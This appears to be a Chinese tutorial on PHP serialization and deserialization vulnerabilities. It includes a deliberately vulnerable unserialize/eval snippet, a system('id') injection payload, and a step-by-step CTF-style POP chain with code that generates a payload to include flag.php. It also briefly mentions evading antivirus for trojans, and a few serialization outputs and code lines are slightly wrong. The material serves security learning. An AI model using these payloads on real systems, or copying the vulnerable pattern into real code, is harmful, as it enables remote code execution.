php
<?php
class a{
#这个php中的对象可以直接初始化的吗?
var $name="benben";
var $sex;
function jineng($ var1){
echo $this->name;#类的函数调用类的成员,是需要使用this指针明确显示的。但是C++中的this指针是隐藏了的。
echo $var1;
}
}
?>
实例化和赋值
这里实例化要使用new()来进行。详细代码如下:
php
<?php
class a{
#这个php中的对象可以直接初始化的吗?
var $name="benben";
var $sex;
function jineng($ var1){
echo $this->name;#类的函数调用类的成员,是需要使用this指针明确显示的。但是C++中的this指针是隐藏了的。
echo $var1;
}
}
$cyj=new a();
#类中有预定义的,不用怕,后面可以覆盖的
$cyj->name="程咬金";
$cyj->sex='男';
?>
这个对象的展示结果如下,但是请注意输出的时候方法是不会输出的。(只会使属性展示。)

序列化基础知识:
序列化 :把PHP 对象 / 数组 / 变量 转换成字符串,方便存储、传输、缓存。
反序列化 :把序列化后的字符串,还原成原本的 PHP 对象。
变量序列化
php
<?php
$test = "hello world";
$ser_str = serialize($test);
echo $ser_str;
// 输出:s:11:"hello world";
/*
格式说明:
s = 字符串,11 = 字符长度,后面是内容
*/
?>
其中的s:11:"hello world"是这样划分的。首先这个s是string,表示这个变量的类型,然后用:(分号)来分割。后面的11表示的是长度。(要是int类型或者float类型就没有这个长度)。后面就是内容。是用双引号来划分范围的。这样就算字符串的内容是hello"world也不会出现 s:11"hello"world"这样意外闭合的情况。
数组序列化
php
<?php
$arr = ['name' => 'admin', 'age' => 20];
echo serialize($arr);
// 输出:a:2:{s:4:"name";s:5:"admin";s:3:"age";i:20;}
/*
a = 数组,2 = 数组元素个数
i = 整型
*/
?>
其中a代表array(数组),其中有两个元素。然后数组中的内容就是按照变量序列化来进行的。
对象的序列化
php
<?php
class test{
public $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a=new test();
echo serialize(a);
?>
后面的结果就是O:4:"test":1:{s:3:"pub";s:6:"benben";}

都是类名没有对象名呀。
要是有变量是private类型,那么在序列化的时候在变量名前加上%00类名%00(但是注意这个空格并不是%00,那个%00是二进制进行的)。相关代码如下:
php
<?php
class hero{
private $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a=new hero();
echo serialize(a);
?>
#对应结果如下:
O:4:"hero":1:{s:9:"%00hero%00pub";s:6:"benben";}
要是变量是protect类型,则就是在变量名前加上%00*%00(我觉得考察private就可以了)。
要是有类包含的情况,就是类似于这种:
class A{
xxxx
};
class B{
xxxxx
private :
A a
}
$a=new B();
echo serialize(a);
对于这种对a进行序列化的时候就是这样的了
O:1:"B":1:{O}
对象的反序列化
1.一个对象进行序列化的结果是字符串,该字符串进行反序列化之后还是对象。
2.反序列化生成的对象里的值,由反序列化里的值提供,与原有类预定义的值是无关的(后面处理免杀木马也可以这么处理)。
3.反序列化不触发类的成员方法,但是需要调用方法后才可以触发。

比如你看这个变量d这个是接受的字符串,f是其反序列化之后的对象。这里要是把test这个类给删了,那么f调用display这个方法就是有问题的。但是只要test这个类存在,那么f就可以调用。(说实话,我觉得有点奇怪)。
反序列化的漏洞
php
<?php
class test{
public $a = 'echo "this is my test";';
function displayVar(){
eval($this->a);
}
}
$get = $_GET["x"];
$b = unserialize($get);
$b->displayVar();
?>
可以看一下这个代码,这个代码的意思是给URL传一个参数x,这个参数由变量$get获取,然后对这个变量进行反序列化。然后再执行b中的displayVar函数。要是x是事先构造好的字符串,
O:4:"test":1:{s:1:"a";s:13:"system('id');";}
也就是
魔术方法
触发时机,功能,参数,返回值

这些事自动调用,并且类中要有这个方法才可以。其中比较晦涩的可能是这个_toString和_invoke这个怎么理解呢?可以这么认为假设有这样的代码:
php
<?php
class test{
public $a;
//这个是要有两个下划线的,并且这个函数是要有return的,并且返回的类型只能是字符串
function __toString(){
return " 我是对象,不是字符串";
}
}
$b = new test();
echo $b;
?>
这里由于echo 后面跟的应该是字符串,但是$b确实对象。这个对象看看能不能转成字符串于是就调用了__toString函数(这么说这个函数有点类似于类型转换要调用的函数一样)。
同理,__invoke()函数就是想要把这个对象转成函数来处理。代码如下:
php
<?php
class test{
private $a='明天会更好!';
function display(){
echo $this->a;
}
//这里甚至都不需要return
function __invoke(){
$this->display();
}
}
$b = new test();
//这里是把对象b当做函数调用了。
$b();
?>
POP链的构造
相关代码是这样的:
php
<?php
class Modifier{
private $var;
function append($value){
include($value);
echo $flag;
}
function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
function __tostring(){
return $this->str->source;
}
function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
function __contruct(){
$this->p =array();
}
function __get($key){
$function=$this->p;
return $function();
}
}
if(isset($_GET["pop"])){
unserialize($_GET["pop"]);
}
?>
构造过程如下 :
第 1 步:锁定最终目标(终点)
我们的目标是执行 Modifier::append() 里的这两行代码:
php
运行
include($value);
echo $flag;
要让这两句执行,必须先调用 append($value) 方法,并且让 $value = "flag.php"。
第 2 步:往前找 append() 的触发方式
在代码里找,哪个方法调用了 append()?
-
Modifier::__invoke():php
运行
function __invoke(){ $this->append($this->var); }
所以,只要能触发 Modifier::__invoke(),就能调用 append(),并且把 $this->var 作为参数传进去。 那 __invoke() 怎么触发?
- 规则:对象被当作函数调用时触发 ,比如
$obj()。
第 3 步:往前找 __invoke() 的触发方式
找哪里出现了 $obj() 这种 "对象当函数调用" 的写法?
-
Test::__get():php
运行
function __get($key){ $function=$this->p; return $function(); }
这里的 $function() 就是 "对象当函数调用"。 所以,只要让 $this->p 是 Modifier 对象,就能触发 Modifier::__invoke()。 那 __get() 怎么触发?
- 规则:访问对象不存在的属性时触发 ,比如
$obj->不存在的属性。
第 4 步:往前找 __get() 的触发方式
找哪里出现了 $obj->属性 这种访问属性的写法,且属性可能不存在?
-
Show::__toString():php
运行
function __tostring(){ return $this->str->source; }
这里访问了 $this->str->source。如果 $this->str 是 Test 对象,而 Test 类里没有 source 属性,就会触发 Test::__get()。 那 __toString() 怎么触发?
- 规则:对象被当作字符串使用时触发 ,比如
echo $obj。
第 5 步:往前找 __toString() 的触发方式
找哪里出现了 echo $obj 这种 "对象当字符串使用" 的写法?
-
Show::__wakeup():php
运行
function __wakeup(){ echo $this->source; }
这里的 echo $this->source 会把 $this->source 当作字符串处理。如果 $this->source 是 Show 对象(或者说,只要 $this->source 是一个有 __toString() 方法的对象),就会触发 Show::__toString()。 那 __wakeup() 怎么触发?
- 规则:
unserialize()反序列化对象时自动触发。
第 6 步:链的起点(入口)
unserialize($_GET["pop"]) 会自动调用 Show 对象的 __wakeup() 方法。 至此,我们已经从终点 include("flag.php") 反向推到了起点 unserialize(),完整的链就通了。
那现在就只剩下传参数了。这个参数怎么写,还是要序列化的内容。可以这样写:
php
<?php
class Modifier{
//因为var是私有属性,所以只能在这里赋值。
private $var='flag.php';
function append($value){
include($value);
echo $flag;
}
function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
function __tostring(){
return $this->str->source;
}
function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
function __contruct(){
$this->p =array();
}
function __get($key){
$function=$this->p;
return $function();
}
}
if(isset($_GET["pop"])){
unserialize($_GET["pop"]);
}
$mod = new Modifier();
$show = new Show();
$test = new Test();
$test->p=$mod;
$show->str=$test;
$show->source = $show;
echo serialize($show);
?>
其中最后结果是:
bash
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"Modifiervar";s:8:"flag.php";}}}
这就是用代码来生成代码。